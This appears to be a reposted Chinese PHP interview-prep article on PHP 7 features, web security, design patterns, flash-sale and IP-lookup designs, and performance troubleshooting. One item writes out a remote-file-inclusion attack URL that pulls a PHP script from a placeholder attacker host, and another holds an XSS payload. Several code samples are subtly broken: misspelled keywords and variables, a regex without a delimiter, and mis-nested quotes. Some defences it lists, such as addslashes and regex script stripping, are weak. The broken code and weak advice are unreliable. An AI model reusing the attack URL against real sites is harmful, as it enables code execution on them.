PHPer面试指南

点击上方“码农编程进阶笔记”,选择“关注公众号”

技术文章第一时间送达!

1.php7新特性

  • ?? 运算符(NULL 合并运算符)

  • 函数返回值类型声明

  • 标量类型声明

  • use 批量声明

  • define 可以定义常量数组

  • 闭包( Closure)增加了一个 call 方法 详细的可以见官网:php7-new-features

2.php7卓越性能背后的优化

  • 减少内存分配次数

  • 多使用栈内存

  • 缓存数组的hash值

  • 字符串解析成桉树改为宏展开

  • 使用大块连续内存代替小块破碎内存 详细的可以参考鸟哥的PPT:PHP7性能之源

3.include($_GET['p'])的安全隐患

现在任一个黑客现在都可以用:http://www.yourdomain.com/index.[php](https://www.oschina.net/p/php)?p=anyfile.txt 来获取你的机密信息,或执行一个PHP脚本。如果allow_url_fopen=On,你更是死定了:试试这个输入:http://www.yourdomain.com/index.[php](https://www.oschina.net/p/php)?p=http://youaredoomed.com/[php](https://www.oschina.net/p/php)hack.[php](https://www.oschina.net/p/php) 现在你的网页中包含了http://www.youaredoomed.com/[php](https://www.oschina.net/p/php)hack.[php](https://www.oschina.net/p/php)的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。

4.列出一些防范SQL注入、XSS攻击、CSRF攻击的方法

SQL注入:

  • addslashes函数

  • mysql_real_escape_string/mysqli_real_escape_string/PDO::quote()

  • PDO预处理 XSS:htmlspecial函数 CSRF:

  • 验证HTTP REFER

  • 使用toke进行验证

5.接口如何安全访问

jwt或验证签名

6.PHP里有哪些设计模式

  • 单例模式

  • 工厂模式

  • 脸面模式(facade)

  • 注册器模式

  • 策略模式

  • 原型模式

  • 装饰器模式 更多的可以看PHP设计模式简介这篇文章

7.验证ip是否正确

1function check_ip($ip) 2{ 3 if (!filter_var($ip, FILTER_VALIDATE_IP)) { 4 return false; 5 } else { 6 return true; 7 } 8}

8.验证日期是否合理

1function check_datetime($datetime) 2{ 3 if (date('Y-m-d H:i:s', strtotime($datetime)) === $datetime) { 4 return true; 5 } else { 6 return false; 7 } 8}

9.写一个正则表达式,过滤JS脚本(及把script标记及其内容都去掉)

1$text = '<script>alert('XSS')</script>'; 2$pattern = '<script.*>.*<\/script>/i'; 3$text = preg_replace($pattern, '', $text);

10.下单后30分钟未支付取消订单

第一种方案:被动过期+cron,就是用户查看的时候去数据库查有没有支付+定时清理。第二种方案:延迟性任务,到时间检查订单是否支付成功,如果没有支付则取消订单

11.设计一个秒杀系统

思路:用redis的队列

1$ttl = 4; 2$random = mt_rand(1,1000).'-'.gettimeofday(true).'-'.mt_rand(1,1000); 3 4$lock = fasle; 5while (!$lock) { 6 $lock = $redis->set('lock', $random, array('nx', 'ex' => $ttl)); 7} 8 9if ($redis->get('goods.num') <= 0) { 10 echo ("秒杀已经结束"); 11 //删除锁 12 if ($redis->get('lock') == $random) { 13 $redis->del('lock'); 14 } 15 return false; 16} 17 18$redis->decr('goods.num'); 19echo ("秒杀成功"); 20//删除锁 21if ($redis->get('lock') == $random) { 22 $redis->del('lock'); 23} 24return true;

12.请设计一个实现方式,可以给某个ip找到对应的省和市,要求效率竟可能的高

1//ip2long,把所有城市的最小和最大Ip录进去 2$redis_key = 'ip'; 3$redis->zAdd($redis_key, 20, '#bj');//北京的最小IP加# 4$resid->zAdd($redis_key, 30, 'bj');//最大IP 5 6function get_ip_city($ip_address) 7{ 8 $ip = ip2long($ip_address); 9 10 $redis_key = 'ip'; 11 $city = zRangeByScore($redis_key, $ip, '+inf', array('limit' => array(0, 1))); 12 if ($city) { 13 if (strpos($city[0], "#") === 0) { 14 echo '城市不存在!'; 15 } else { 16 echo '城市是' . $city[0]; 17 } 18 } else { 19 echo '城市不存在!'; 20 } 21}

13.网页/应用访问慢突然变慢,如何定位问题

  1. top、iostat查看cpu、内存及io占用情况

  2. 内核、程序参数设置不合理 查看有没有报内核错误,连接数用户打开文件数这些有没有达到上限等等

  3. 链路本身慢 是否跨运营商、用户上下行带宽不够、dns解析慢、服务器内网广播风暴什么的

  4. 程序设计不合理 是否程序本身算法设计太差,数据库语句太过复杂或者刚上线了什么功能引起的

  5. 其它关联的程序引起的 如果要访问数据库,检查一下是否数据库访问慢

  6. 是否被攻击了 查看服务器是否被DDos了等等

  7. 硬件故障 这个一般直接服务器就挂了,而不是访问慢

14.如何设计/优化一个访问量比较大的博客/论坛

  • 减少http请求(比如使用雪碧图)

  • 优化数据库(范式、SQL语句、索引、配置、读写分离)

  • 缓存使用(Memcache、Redis)

  • 负载均衡

  • 动态内容静态化+CDN

  • 禁止外部盗链(refer、图片添加水印)

  • 控制大文件下载

  • 使用集群

15.如何搭建Composer私有库

使用satis搭建
相关文章介绍:使用satis搭建Composer私有库

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

相关教程:PHP开发高可用高安全App

获取方式:关注公众号回复“ PHP开发App ”关键字,即可免费获得

               

本文同步分享在 博客“lxw1844912514”(CSDN)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

点赞
收藏

评论区

加载中...

相关推荐

MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1

文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s

Oracle 分组与拼接字符串同时使用

SELECTT.,ROWNUMIDFROM(SELECTT.EMPLID,T.NAME,T.BU,T.REALDEPART,T.FORMATDATE,SUM(T.S0)S0,MAX(UPDATETIME)CREATETIME,LISTAGG(TOCHAR(

MySQL部分从库上面因为大量的临时表tmp_table造成慢查询

背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_

手写Java HashMap源码

HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程22

KVM调整cpu和内存

一.修改kvm虚拟机的配置1、virsheditcentos7找到“memory”和“vcpu”标签,将<namecentos7</name<uuid2220a6d1a36a4fbb8523e078b3dfe795</uuid

Android So动态加载 优雅实现与原理分析

背景:漫品Android客户端集成适配转换功能(基于目标识别(So库35M)和人脸识别库(5M)),导致apk体积50M左右,为优化客户端体验,决定实现So文件动态加载.!(https://oscimg.oschina.net/oscnet/00d1ff90e4b34869664fef59e3ec3fdd20b.png)点击上方“蓝字”关注我